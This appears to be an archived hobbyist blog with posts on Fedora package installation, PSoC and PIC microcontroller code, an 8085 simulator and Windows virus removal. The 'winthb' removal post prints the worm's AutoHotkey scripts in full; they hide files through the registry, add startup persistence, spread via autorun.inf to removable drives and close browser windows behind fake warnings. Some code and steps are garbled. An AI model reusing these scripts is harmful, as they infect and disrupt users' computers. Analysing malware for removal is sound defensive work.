Electronic Error

Installing all the Free and Open Source EDA Tools on Fedora Release 12 Leonidas i386

2009-12-22T21:27:00.000-08:00

If you have a fast Internet connection and you have established the Internet connection in your machine then follow the steps given below:
1. Open an instance of a terminal and run su to get root access:
]$ su
password:
2. Enter the root password and press ENTER. On correct root password entry the prompt of the shell would change from ]$ to ]#.
3. Run the following command (copy and paste it to the terminal and press ENTER) to use the package manager of Fedora, yum for installing the tools:
]# yum -y install irsim alliance* pharosc* ngspice* magic magic-doc iverilog ghdl* gtkwave gwave gspiceui \
octave* qtoctave freehdl archimedes electric ktechlab kicad pikdev piklab avr* pikloops sdcc* gsim85 \
netgen xcircuit geda* gerbv vhd2vl gds2pov dinotrace drawtiming gnuplot gresistor qucs gnucap linsmith \
nasm yasm pcb tkgate toped vym yum-presto perl-Hardware-Vhdl-Parser perl-Hardware-Vhdl-Tidy \
perl-Hardware-Vhdl-Lexer perl-Verilog presto-utils perl-Verilog-CodeGen perl-Hardware-Verilog-Parser \
perl-Verilog-Readmem perl-SystemPerl perl-SystemC-Vregs perl-Verilog perl-ModelSim-List dia nedit \
gpsim* gputils* sk2py deltarpm LabPlot plotutils gtkterm gtk+ gtk+-devel gperf ddd yumex fvwm
yum will do all the dependenciy check for u.done !!!

How to create a simple 3 button USB mouse using PSoC USB device CY8C24794

2009-10-13T09:04:00.000-07:00

Writing code for a usb mouse is such a complicated thing that anybody learning the report structure will go mad. Here comes Cypress's PSoC .PSoC device CY8C24794 is a USB programmable device with a USB interface.Also it can be powered using the USB cable.We can make a simple 3 button mouse using this device within 10 mins,if the CY3214 kit is available.The PSoC makes it all possible.!!!!!The most important thing is to understand the working of basic things and then the technical stuff will become simple.Here a person who doesn't know how to configure the PSoC using the PSoC designer software is advised to go through the Cypress site to get the detailed tutorial. Anybody can download the tutorial by registering into the Cypress site.Also there is a site called PSoC developer where we can find some PSoC related useful posts.This is the code for the 3 button USB mouse
//----------------------------------------------------------------------------
// C main line

//----------------------------------------------------------------------------

#include // part specific constants and macros
#include "PSoCAPI.h" // PSoC API definitions for all User Modules
#include "DualADC8.h"

BYTE abMouseData[4] = {0,0,0,0};

void main()
{

/*adc initialisation*/
char cResult1, cResult2;
char cResult1_prev, cResult2_prev;
M8C_EnableGInt; // Enable global interrupts
DUALADC8_Start(DUALADC8_HIGHPOWER); // Turn on Analog section
DUALADC8_SetCalcTime(100); // Set CalcTime to 100
DUALADC8_GetSamples(); // Start ADC
cResult1=0;cResult2=0;
cResult1_prev=0;cResult2_prev=0;
/*usb initialisation*/

M8C_EnableGInt; //Enable Global Interrupts
USBFS_Start(0, USB_5V_OPERATION); //Start USBFS Operation using device 0
//and with 5V operation
while(!USBFS_bGetConfiguration()); //Wait for Device to enumerate
//Enumeration is completed load endpoint 1. Do not toggle the first time
USBFS_LoadInEP(1, abMouseData, 3, USB_NO_TOGGLE);

/*lcd initialisation*/
LCD_1_Start();
LCD_1_Position(0,5);
while(1)
{
while(!USBFS_bGetEPAckState(1)); //Wait for ACK before loading data
//ACK has occurred, load the endpoint and toggle the data bit
USBFS_LoadInEP(1, abMouseData, 3, USB_TOGGLE);
while(DUALADC8_fIsDataAvailable == 0);
cResult1_prev=cResult1;
cResult2_prev=cResult2;
cResult1 = DUALADC8_cGetData1();
cResult2 = DUALADC8_cGetData2ClearFlag();
{
if ((cResult1_prev-cResult1)> 20 ||(cResult1-cResult1_prev) > 20)
abMouseData[1] = 0x01;
else if ((cResult1_prev-cResult1)<> 20 ||(cResult2-cResult2_prev) > 20)
abMouseData[2] = 0x01;
else if ((cResult2_prev-cResult2)< style="text-align: justify;">Here in this code the mouse x and y motions are mimicked by using 2 potentiometers.The PSoC core reads the ADC (8bit)continuously and sends the conditioned value to the PSoC core for processing and sending the required data to the system. The required value is sent through the USB interface.The PRT0DR is the port 0 data register.where the data read from the input ports of the PSoC is stored. The abMouseData is an array which is actually called the report descriptor by software guys who code for this complex USB HID device.The format for the USB HID mouse is given below

PSoC a new way to design

2009-08-31T22:28:00.000-07:00

Cypress's PSoC® Programmable System-on-Chip is the most complete solution for embedded systems, combining an 8-bit microcontroller, flash memory, and SRAM with customizable analog and digital blocks.

PSoC is a software configured, mixed-signal array with a built-in Microcontroller unit core. The core is a Cypress proprietary, 8bit harward design called the M8C. PSoC has three separate memory spaces: paged SRAM for data, flash memory for instructions and fixed data, and I/O Registers for controlling and accessing the configurable logic blocks and functions.

Here is a comparison table showing the major differences between PSoC ASIC and FPGA

	PSoC	ASIC	FPGA
Time to Market	hours	years	hours
Design Complexity	Very less	More	less compared to ASIC
Configuration	can be changed during run time	cannot be changed	can be changed to some extend
Freq of operation	Very less	More	Less comp to ASIC

The configuration is obtained by loading instructions from the built-in Flash memory in a PSoC whereas in an FPGA the configuration is loaded at the begining from an EEPROM into SRAM distributed memory as well as block memory.Also the FPGA uses some configurable logic blocks(CLBs).

PSoC most closely resembles a MCU in usage, where code is executed to interact with the user-specified peripheral functions (called "User Modules"), using automatically generated APIs and interrupt routines. The PSoC Designer IDE generates the startup configuration code and peripheral APIs automatically based upon the users selections in a visual-studio-like GUI.Cypress offers a visual, code-free embedded design tool for PSoC called PSoC Express. Using PSoC Express, most features of the PSoC can be accessed with drag and drop icons and logical expressions. The vishual design is compiled to executable code without exposing the user to the underlying converted code, though a visual design can be converted and used as a basis of a traditional code-based design in PSoC Designer. Visual design elements cover features such as temperature sensors, fan control, accelerometers, I2C master and slave protocols, USB virtual serial ports, capacitive sensors, and wireless 2.4 GHz radio communications.PSoC programmer is another software that is available in cypress.com that can be used to program the bitstream into the PSoC devices.
PSoC Designer
PSoC programmer
You have to register for getting the softwares and u can create cases for queries in cypress.com.

In a PSoC device the user defines What functions appears,When they appear and how !!!!!

Four Levels of Documentation

1)Technical ref manuals
2)User module datasheets (available with PSoC designer software)
3)Device datasheets
4)Project Config datasheets generated by the tool at the end of the design

Dynamic Reconfiguration
Dynamic reconfiguration is a similar kind of a thing like polymorphism in C++. One device performing different functions at different times. Multiple function sets operate on same hardware at different times in the same application. In this case we dynamically load the configuration at run time.
PSoC Applications
Voltage Monitoring,Airflow Sensing, Humidity Sensing, I2C, SPI, UART, CPU Reset, Temp Sensing, Pressure Sensing, Current Sensing, Accelerometers, Fan Control, USB devices etc are the typical applications where the PSoC can be used.

What is rpm?Why rpm?How rpm ?and When rpm ?

2009-08-23T09:34:00.000-07:00

What is rpm ?

It is a package file format or a software packaged in that format such as [softwarename.version.release.architechture].rpm. Originally developed by the Red Hat and it is used by most of the Red Hat based platforms like fedora.
Why rpm ?
-rpm repos contains thousands of free softwares [repos are places in web where the packages are stored and made available to public ]
-easy to install [rpm -i filename.rpm]
-easy to transport [easy to copy the single file instead of the scattered source ]
-easy to check integrity [we can easily check the integrity using the md5 ]
-a new version of the rpm file format drpm(Delta rpm) saves a lot of bandwidth while updating the system.
The major disadvantage is that the package cannot perform automatic dependency check.For that we have to use the package managers such as yum.
How rpm ?
Rpm files can be installed in a supporting platform by simply typing 2 commands in the shell.
take a shell
become the super user
$ su
goto the directory containing the rpm file
# rpm -ivh filename.rpm
for fresh installation of a package
# rpm -Uvh filename.rpm
for Updating a package
Done !!!!!
So this is how it looks simple other than compiling the whole code once.
When rpm ?
U may wonder why we need these thing if we have a yum package manager or yumex (gui for yum). Those are only useful when we have an high speed internet connection. Imagine a situation where we need 100 systems to be installed with a same set of packages and we have a damn slow net connection. One thing we can do is that , we can make the connection a high speed one. But imagine a situation where u can install the whole set of packages with in adownload time of one package. Will that make a difference ?
Yea it will
The solution is that download the packages using a yum package manager, which will automatically download the depedencies. What this yum does is that after installation this manager deletes the whole packages downloaded from the repos. So u cannot use it to install the software in another system. Copy the rpm files before it deletes ,thats the solution.
The downloaded rpm files are stored in the folder /var/cache/yum/
there will be two directories, in case of fedora it will be fedora and update
either copy these folders after the downloading of packes by the yum is complete.
Or kill the yum process by Ctrl -C or kill using kill -9 pid of yum ,then copy the files
Next step is that we can use the yum to install the packages or we can use the rpm command to install the files
Installation using the yum in another machine.
Copy the files to the same /var/cache/yum/ directory using the cp -rfu command which will update copy the files
then give the command yum -y install package names given in the system where u have downloaded the packages
Installation using the rpm command in another machine
Copy the files to any directory . Go to that directory in shell then
goto the updates/packages directory
give command
# rpm -Uvh *
then goto the fedora/packages directory
give the command
#rpm -ivh *

Done !!!!!!!!!!!!!
In case it is showing any dependency problem u have to download the corresponding package.
If dependencies are more go with the first method.

How to Install Fedora 11 from a USB bootable flash drive

2009-07-24T19:29:00.000-07:00

Plug in the USB device into a Fedora 11 machine, format it using the gparted or anything else using gparted you have to become root ie ,>>$su >>password: After entering the password type >># gparted
Unmount the USB device to format it. Then format that using the FAT32 file system.Also make the boot flag marked by right clicking and taking "manage flags" in gparted.
Now make sure that the USB is not mounted.Type the command
>>#livecd-iso-to-disk /[pathto the iso image]/ /dev/sdb1
After the bootup disk creation mount the USB device and create a directory images in it >>#mkdir /media/USB >>#mount /dev/sdb1 /media/USB/
>># mkdir /media/USB/images >>#mkdir /mnt/iso >> mount -o loop /[path to the iso images] /mnt/iso >># cp -rfv /mnt/iso/images/install.img /media/images/
At last copy the iso file to the USB root ie, >>#cp -rfv /[path to iso file] /media/USB/
Reboot the system and make the boot order to boot from USB disk
!!!!!Done!!!!!

How to install portable Damn Small Linux in USB drive?

2009-06-29T17:09:00.000-07:00

Damn Small Linux, as its name says, is an extremely small linux distribution.It will take around 51MB disk space.We can port the DSL just like that in a pen drive.Also we can store the worked files in the usb pen drive itself. It is just like we have a fuly installed computer in hand in a usb flash device. We can take that to anywhere we want and just need to enable the bios option boot from USB device. Also set the usb device as the first boot device in boot device priority.

Minimum Requirements for DSL with X-window

486dx or 100% compatible processor
16mb ram (24mb recommended)
dual-speed CDROM (quad-speed or better recommended)
1.44mb floppy drive (for boot floppy, if needed)
VGA monitor and video card
a mouse (serial, ps/2, usb)

DSL latest release is available in the following mirrors

Current Full Mirror List:

ftp://ibiblio.org/pub/Linux/distributions/damnsmall/

http://ibiblio.org/pub/Linux/distributions/damnsmall/

ftp://ftp.is.co.za/linux/distributions/damnsmall/ (South Africa)

http://gd.tuwien.ac.at/opsys/linux/damnsmall/ (Austria) also rsync and FTP

http://gulus.USherbrooke.ca/pub/distro/DamnSmallLinux/Location: (Quebec,
Canada)
http://ftp.belnet.be/packages/damnsmalllinux/ (Belgian)

ftp://ftp.belnet.be/packages/damnsmalllinux/ (Belgian)

http://ftp.heanet.ie/mirrors/damnsmalllinux.org/

ftp://ftp.heanet.ie/mirrors/damnsmalllinux.org/

Rysnc Mirror:

rsync ftp.belnet.be::packages/damnsmalllinux/

sync://ftp.heanet.ie/mirrors/damnsmalllinux.org/

Bittorrent Mirror:

Linux Tracker, Torrent & Xdelta

http://www.tlm-project.org/torrents/damnsmall/

Metalink:

Metalink

Portable DSL usb flash pen drive install

1)download the syslinux

2)download the dsl-xxxx.embedded.zip file

3)extract the syslinux-3.82.tar.gz file to a folder named syslinux or whatever

4)take the command prompt in the windows and goto the syslinux/win32/ directory

5)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win32$>syslinux -ma [usbdevicedrive letter]:

6)extract the dsl-xxxx.embedded.zip file to the usb device

7)reboot the system and press enter when the boot: .. screen appears
!!!1enjoy!!!!

Ocatve-An alternative to MATLAB

2009-06-13T11:06:00.000-07:00

Some FAQs

* It is one of the High Priority Free Software Projects in GNU

* Creator- John W. Eaton

* Octave became GNU Octave in 1997 (beginning with version 2.0.6)

* Gnu octave - Free software (GPL)

* Documentation- http://www.octave.org/docs.html

* Qt octave is a GUI for Gnu octave

* Convenient command line interface for solving linear and non linear problems numerically

* Prototyping, numerical experiments etc

Octave As An Analysis Tool

* Solving numerical linear algebra problems

* Finding the roots of nonlinear equations

* Integrating ordinary functions

* Manipulating polynomials

* Integrating ordinary differential and differential-algebraic equations

Ocatve As A System Simulation Tool

* Control Theory

* Signal Processing

* Image Processing

* Audio Processing

Octave As A Computational Engine

* Programmable

* Easily Extendible

* Graphical Comparison Tool

Want to learn octave visit octave tutorial

for octave graphical program examples goto octave graphical programs

Download videos from youtube, daily motion etc without any softwares

2009-05-28T03:57:00.000-07:00

Save ur valuable usage, if u use a limited connection. Go to the web site, u need to down load the video, view the video completely and after viewing dont close the browser.

For Internet explorer

Go to the folder given below

windows installation directory:\Documents and Settings\user\Local Settings\Temporary Internet Files\

Here u can find the file cached.You can copy the file by just viewing the size of the file and copying the file to another folder.opening the file may ask a question like this

so copy that file to another folder and open from there
rename the file as u wish
!!!!!!!!!!!!!! Booom u have done with the download process

For Mozilla firefox

Windows installation directory :\Documents and Settings\user\Local Settings\Application Data\Mozilla\Firefox\Profiles\xqfqfvde.default\Cache\

Here u can find the file cached.You can copy the file by just viewing the size of the file and copying the file to another folder.

there u are

How to remove virus winthb also win.exe and avgs.exe

2009-01-26T02:25:00.001-08:00

winthb is a virus program recently came to my system from a usb flash device. It hides the hidden folders completely and copies the autorun.inf file to c: drive and reproduces it whenever we delete that.The icon of the c: drive changes to something like below

The virus program also has the symptoms listed below,

1. when we try to search orkut in google, it will display an error message " WARNING,orkut is sending viruses to your pc. To protect your pc close this window ,orkut is infected by jammer worm " also it will play a music . (win.mp3)

2. when we try youtube ,WARNING,Dangerous script send by youtube, Windows system files damage if this script run

3.In my system mozilla firefox was disabled when the thb fellow came ,anyway the firefox showed "File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus"

How to remove winthb virus

take start>run>enter temp

clear the directory

also run %temp

clear that also

As a first step when u boot into windows press ALT+CTRL+DEL.Stop the process win.exe and avgs.exe if they are running.Goto run type regedit(enter).Then the registry editor window will come.[1]Goto HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue will be made 0 by the program make it 1.

Now all the hidden files will be available. Goto Tools>folderoptions>view>show all hidden files.

Now search for avgs.exe in the windows search engine.If there is a file available in the search loacte its path.Do not double click on any drives to get into them because most of the viruses get into system when we double click on the drive by running the autorun.inf file.If we have to , do a adreess bar opening .I got the fellows from my C:\windows\system32\win.dll\

the folder icon for win.dll was not appearing as a usual folder icon it was the icon for dll files and also it was hidden. So please do not run any virus while doing these.If u do so u wont see the hidden files. In this case u have to do the [1].FInd the folder and delete it. Find any file named win.exe ,avgs.exe,.The folder C:\windows\system32\win.dll\ contained some files named

win.exe

avgs.exe

Desktop.ini

std.txt

Drivelist.txt

Icon.ico

reproduce.txt

win.mp3

thb.ico

Dll.ico

script1.txt

The virus script looks like the one below,

std.txt

#notrayicon

#singleinstance,ignore

regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue

ifnotequal,regdata,0

regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,0

Run D:\RECYCLE\win.exe D:\RECYCLE\script1.txt

Run D:\RECYCLE\avgs.exe D:\RECYCLE\reproduce.txt

reproduce.txt

#notrayicon

#persistent

ArrayCount = 0

Loop, Read,D:\RECYCLE\driveList.txt

{

ArrayCount += 1

Array%ArrayCount% := A_LoopReadLine

}

dat1=%userprofile%

settimer,reproduce,5000

return

reproduce:

Loop %ArrayCount%

{

element := Array%A_Index%

driveget,data,Type,%element%:\

ifequal,data,Removable

{

driveget,data1,status,%element%:\

ifequal,data1,Ready

{

FileCopydir,D:\RECYCLE\reg.bkp,%element%:\,1

}

regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon

ifnotequal,regdata,D:\RECYCLE\win.exe D:\RECYCLE\std.txt

Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon,D:\RECYCLE\win.exe D:\RECYCLE\std.txt

ifnotexist,c:\thb.ico

ifnotexist,c:\autorun.inf

filedelete,c:\autorun.inf

Filecopy,C:\DOCUME~1\Ravi\LOCALS~1\Temp\winthb\thb.ico,c:\

Filecopy,C:\DOCUME~1\Ravi\LOCALS~1\Temp\winthb\autorun.inf,c:\

return

script1.txt

#persistent

#notrayicon

settimer,ban,2000

return

ban:

WinGetActiveTitle, ed

ifinstring,ed,orkut

{

winclose %ed%

soundplay,D:\RECYCLE\win.mp3

msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r orkut is infected by jammer worm ,30

return

}

ifinstring,ed,youtube

{

winclose %ed%

soundplay,D:\RECYCLE\win.mp3

msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r

return

}

ifinstring,ed,Mozilla Firefox

{

winclose %ed%

msgbox,262160,File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus `r`r ,30

return

}

ifwinactive ahk_class IEFrame

{

ControlGetText,ed,edit1,ahk_class IEFrame

ifinstring,ed,orkut

{

winclose ahk_class IEFrame

soundplay,D:\RECYCLE\win.mp3

msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r orkut is infected by jammer worm ,30

return

}

ControlGetText,ed,edit2,ahk_class IEFrame

ifinstring,ed,orkut

{

winclose ahk_class IEFrame

soundplay,D:\RECYCLE\win.mp3

msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r orkut is infected by jammer worm ,30

return

}

ControlGetText,ed,edit3,ahk_class IEFrame

ifinstring,ed,orkut

{

winclose ahk_class IEFrame

soundplay,D:\RECYCLE\win.mp3

msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r orkut is infected by jammer worm ,30

return

}

ControlGetText,ed,edit4,ahk_class IEFrame

ifinstring,ed,orkut

{

winclose ahk_class IEFrame

soundplay,D:\RECYCLE\win.mp3

msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r orkut is infected by jammer worm ,30

return

}

ControlGetText,ed,edit1,ahk_class IEFrame

ifinstring,ed,youtube

{

winclose ahk_class IEFrame

soundplay,D:\RECYCLE\win.mp3

msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r

return

}

ControlGetText,ed,edit2,ahk_class IEFrame

ifinstring,ed,youtube

{

winclose ahk_class IEFrame

soundplay,D:\RECYCLE\win.mp3

msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r

return

}

ControlGetText,ed,edit3,ahk_class IEFrame

ifinstring,ed,youtube

{

winclose ahk_class IEFrame

soundplay,D:\RECYCLE\win.mp3

msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r

return

}

ControlGetText,ed,edit4,ahk_class IEFrame

ifinstring,ed,youtube

{

winclose ahk_class IEFrame

soundplay,D:\RECYCLE\win.mp3

msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r

return

}

return

Creates c:\windows\system32\win.dll\svchost.exe
create folder C:\WINDOWS\system32\win.dll
create folder C:\WINDOWS\system32\win.dll\reg.bkp
Copies filec:\docume~1\user\locals~1\temp\winthb\win.exe to c:\windows\system32\win.dll\win.exe
Copies filec:\docume~1\user\locals~1\temp\winthb\avgs.exe to c:\windows\system32\win.dll\avgs.exe
Copies filec:\docume~1\user\locals~1\temp\winthb\drivelist.txt to c:\windows\system32\win.dll\drivelist.txt
Copies filec:\docume~1\user\locals~1\temp\winthb\win.mp3 to c:\windows\system32\win.dll\win.mp3
Copies filec:\docume~1\user\locals~1\temp\winthb\Icon.ico to c:\windows\system32\win.dll\Icon.ico
Copies filec:\docume~1\user\locals~1\temp\winthb\thb.ico to c:\windows\system32\win.dll\thb.ico
Copies filec:\docume~1\user\locals~1\temp\winthb\DLL.ico to c:\windows\system32\win.dll\DLL.ico
Deletes c:\autorun.inf
Copies filec:\docume~1\user\locals~1\temp\winthb\thb.ico to c:\thb.ico
Copies filec:\docume~1\user\locals~1\temp\winthb\autorun.inf to c:\autorun.inf

After all these things i found a copy of the thb files in my D:\RECYCLE it looked like RECYCLER but there was no R at the end.Clear that aslo.Also idont know whether the script has any other effects.If any feel free to comment.Thanks

Simple College /School Quizzing Buzzer Circuit using PIC 18f4550 with 7 Segment Display

2009-01-12T04:40:00.000-08:00

A buzzer finds application in quizzing, where the quiz master must know exactly who presses the first button to answer the question.Instead of glowing the bulb corresponding to the person who presses the button first, we can show the number corresponding to the person in a 7 segment display.This is desirable since its simple and less power consuming than lighting a bulb.We can simply program the PIC 18f4550 using USB cable connected to the system. No need for any programmer arrangement if we have already programmed the boot loader into the device. We need the PICDEM FS USB tool available in Microchip's site.This tool helps us to program the device using USB cable. Another tool called C-18 needs to to installed on the system along with the mplab ide to develop the software for the project .

#include "p18cxxx.h"

#include "usart.h"

extern void _startup (void);

// See c018i.c in your C18 compiler directory

#pragma code _RESET_INTERRUPT_VECTOR = 0x000800

void _reset (void)

{

_asm goto _startup _endasm

}

#pragma code

#define byte unsigned char

void delay (void);

void display(byte);

void main(void)

{

byte c=0;

TRISD = 0;

TRISB = 255;

while(1)

{

c= ~PORTB;

switch (c)

{

case 1:

display(0);

break;

case 2:

display(1);

break;

case 4:

display(2);

break;

case 8:

display(3);

break;

case 16:

display(4);

break;

case 32:

display(5);

break;

case 64:

display(6);

break;

case 128:

display(7);

break;

default:

display(10);

break;

}

delay();

if(c)

{

while(1);

}

//the while loop resets to start of main if reset is done pin 1 gnded (hardware reset)

}

void delay(void)

{

long int count = 200000;

while (count--)

{

}

void display(byte a)

{

switch(a)

{// these may or maynot work on all 7 segments to determine which segment is which we need to write test programs

case 0: PORTD = 0b01000000;break;

case 1: PORTD = 0b11111010;break;

case 2: PORTD = 0b00100100;break;

case 3: PORTD = 0b00110000;break;

case 4: PORTD = 0b10010010;break;

case 5: PORTD = 0b00010001;break;

case 6: PORTD = 0b00000001;break;

case 7: PORTD = 0b11111000;break;

case 8: PORTD = 0b00000000;break;

case 9: PORTD = 0b10010000;break;

case 10: PORTD = 0b11111111;break;

default :

PORTD = 0b11111111;

break;

}

PORTD is used as the output port ,ie the seven segment display to display the number corresponding to the pressed pin on PORTB.PORTB is normally connected to VCC through a pullup (10k). Each pin is gnded to detect a key press .A switch is connected between the pin and the gnd.The ckt detects the first key pressed among 8 keys and displays the keynumber on seven segment.

Yum Extender (2.0.4)

2008-12-22T09:37:00.000-08:00

The yum tool is one of the most common utilities used to keep Linux up to date.A graphical tool for updating the fedora is Yum Extender. We can install the yum extender using the command
$ yum install yumex
After installation we can run
$ yumex & to launch the yum extender
or we can goto Applications> System tools > yum extender

Useful tabs of yumex are an update tab on the top left then a group view and an o/p view.From first tab we can select/search the package.From the group view tab we can view the packages by their respective groups,like applications , entertainment, education etc.

It can also be used to remove packages. It keeps track of the installed and available packages.Up to 60% it completes the downloading , in case of adding a package, and the rest is for installing the package.Also when a long list is given to it , it does the downloading in the order of size of the packages ( increasing order of size).

A new look , a new system, its Fedora 10

2008-12-02T09:52:00.000-08:00

Here is a new look with my Acer aspire 4730Z, using fedora 10.

Even though there was a bug with the fedora 10 it looks fine.The bug is that the network manager and network GUI setting is not changing the subnet mask Then we change the subnet mask in GUI.The bug can be fixed manually by disabling the network manager from System>administration>services
Become substitute user(su) and login as root, then goto the /etc/sysconfig/networking/profiles/default/

using
cd /etc/sysconfig/networking/profiles/default/

edit the file ifcfg-eth0 using gedit or any other editor

gedit ifcfg-eth0

it looks like this
# Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller
DEVICE=eth0
BOOTPROTO=none
HWADDR="mac"
ONBOOT=yes
NM_CONTROLLED=no
NETMASK=255.255.255.0
IPADDR=192.168.11.130
GATEWAY=192.168.11.123
TYPE=Ethernet
USERCTL=yes
PEERDNS=yes
IPV6INIT=no
add the line in blue text if there is no such text,then save the file and run the binary ifdown eth0 in sbin

/sbin/ifdown eth0
then
/sbin/ifup eth0

now we will be getting the connection.To configure the yum we need to configure the yum.conf file in etc ,if there is a proxy server
add a line

proxy=http://(IP eg:192.168.1.1 etc):port number/

save the file and use yum install something in shell.Use the same settings for wlan to configure Wifi.In fedora 9 the driver for my atheros was not there but for fedora 10 release the driver got automatically installed on upgradation from fedora 9 to fedora 10.Here is a set of pictures from fedora 10, I have configured fedora 10 to look like a new one.

To enable the desktop effects in fedora 10 goto system>preferences>look and feel>desktop effects>enable desktop effects.Use alt+ctrl+arrow keys to rotate the desktop.

8085 Simulator for Windows (32 -bit)/ Linux

2008-11-23T07:55:00.000-08:00

8085sim is a potential product for 8085 microprocessor instruction set simulation.The simulators for both Win(32-bit)/Linux are uploaded hereThe simulator for win is 8085sim.exe and for linux its named as 8085sim.
For Windows :
Copy the 8085sim.exe to any folder named 8085 or anything.It is necessary to copy this to a folder, otherwise the files created by the 8085sim.exe will get scattered around the environment folder.
Run the file
First we will be facing a main menu having 10 options.Select one of them using 1 to 10 numbers.

Code editor(2) & Memory editor (1)
Image above shows the main menu.number 2 is enetered for the code editor we type in the hex code (no need to put H at the end to indicate hex) of the instructions and will at last put a 76H(HLT)instruction.HLT is a must for a program entered in 8085sim.Without an HLT (76H)8085sim will execute infinite loops , so is the case for real hardware.
When we get into the code editor the

Codeeditor>>$ ORIGIN :
comes we have to type in the origin or starting address for the hexcode entry.
After the entry it prints the mapoffset and pc content
For the mem editor the pc will be different than the map offset.
Memory editor provides an interface to direct editing of memory. In this case we can store an array of numbers in some address and use that address in program.

Single step(3) & Normal exe(4)
Image above shows the single stepping mode for 8085sim.After the hexcode entry by using the code editor we can use singlestepping(3) or normal exe(4), for executing the program. When an instruction is executed the 8085sim diaplays all the reg contents below that after showing the instruction and address to which it has been entered.A single stepping or normal exe operation of 8085sim terminated with the execution of a 76 instruction.

Saving the program in harddisk(7)
The above image shows how to save a program that has been entered and executed to harddisk.The 8085 sim sets aside a memory map in RAM of the system ,for virtual 8085simulation.The memory map starts form 0000H to ffffH in hex.So it sets aside 64Kb of memory in RAM . After we leave the simulator it frees the RAM.When its been rerun it will initialise all the contents of RAM to 0H. So we need to write the entered hex code or memory content to hard disk. The purpose of save is to achieve this.We have to enter a file name and also the starting location of the code in memorymap.The saved file is created inside the folder to which the 8085sim was copied.When the file is saved successfully the 8085sim indicates it by printing the number of 8bit codes written to disk
----8-----File written to secondary storage device.
Now we can exit the 8085sim by typing 5.

Loading(8) & Dumping the RAM(9)
The image above shows how to load the file named 16bitadd.Suppose we are exiting the 8085sim by saving the current program.At anytime later on we can try executing the same program by loading that program file into the memorymap of 8085sim.Here the saved file is 16bitadd.
After succussfully loading the file the 8085sim prints a result as shown below.
-----8-----File successfully loaded.
where 8 is the number of code bytes in file.
8085sim also has a memory map analysis file called MAP.RAM. To print the contents of memorymap of 8085sim (0000h to ffffh) select the number 9 from the mainmenu.It dumps the contents of RAM to a file named MAP.RAM.
Assembler is under construction.

For LINUX:
I have tried the binary for Fedora Core 9.If there is any problem please comment.
For linux we have to copy the binary to the bin folder of root.
First open a terminal .Login as a root user
fedora home]$ su
password:
fedora home]#
After the entry as a root the command prompt change from $ to #
copu the 8085sim to /bin
type
home]# cp 8085sim /bin/8085sim
home]#exit
then the 8085sim binary will have entered into the /bin
Now one can type the 8085sim command anywhere to run the simulator.One problem with running the simulator anywhere is that u may not be having enough permissions to create files in some folders.In such cases the save file will show error message .So always use a valid path .Preferably create a folder for 8085simulator.I have created a folder named 8085simfiles in my home directory.
Now change the working directory to home ]$ cd /home/8085simfiles
Now run home]$8085sim
We can see the 8085 mainmenu as shown below

Code editor & Memory editor
Image above shows the main menu.number 2 is enetered for the code editor we type in the hex code (no need to put H at the end to indicate hex) of the instructions and will at last put a 76H(HLT)instruction.HLT is a must for a program entered in 8085sim.Without an HLT (76H)8085sim will execute infinite loops , so is the case for real hardware.
When we get into the code editor the
Codeeditor>>$ ORIGIN :
comes we have to type in the origin or starting address for the hexcode entry. After the entry it prints the mapoffset and pc content.For the mem editor the pc will be different than the map offset. Memory editor provides an interface to direct editing of memory. In this case we can store an array of numbers in some address and use that address in program.

Single step(3) & Normal exe(4)
Image above shows the single stepping mode for 8085sim.After the hexcode entry by using the code editor we can use singlestepping(3) or normal exe(4), for executing the program.When an instruction is executed the 8085sim diaplays all the reg contents below that after showing the instruction and address to which it has been entered.A single stepping or normal exe operation of 8085sim terminated with the execution of a 76 instruction.

Saving the program in harddisk(7)
The above image shows how to save a program that has been entered and executed to harddisk.The 8085 sim sets aside a memory map in RAM of the system ,for virtual 8085simulation.The memory map starts form 0000H to ffffH in hex.So it sets aside 64Kb of memory in RAM. After we leave the simulator it frees the RAM.When its been rerun it will initialise all the contents of RAM to 0H. So we need to write the entered hex code or memory content to hard disk. The purpose of save is to achieve this.We have to enter a file name and also the starting location of the code in memorymap.The saved file is created inside the folder to which the 8085sim was copied.When the file is saved successfully the 8085sim indicates it by printing the number of 8bit codes written to disk
----8-----File written to secondary storage device.
Now we can exit the 8085sim by typing 5.

Loading(8) & Dumping the RAM(9)

The image above shows how to load the file named 16bitadd.Suppose we are exiting the 8085sim by saving the current program.At anytime later on we can try executing the same program by loading that program file into the memorymap of 8085sim.Here the saved file is 16bitadd. After succussfully loading the file the 8085sim prints a result as shown below.
-----8-----File successfully loaded.
where 8 is the number of code bytes in file.

8085sim also has a memory map analysis file called MAP.RAM. To print the contents of memorymap of 8085sim (0000h to ffffh) select the number 9 from the mainmenu.It dumps the contents of RAM to a file named MAP.RAM.Assembler is under construction.

How to remove abk.bat virus

2008-11-22T09:42:00.000-08:00

Goto start>run>regedit
delete the entry
HKCU\Software\Microsoft\Windows\CurrentVersion\Run kamsoft
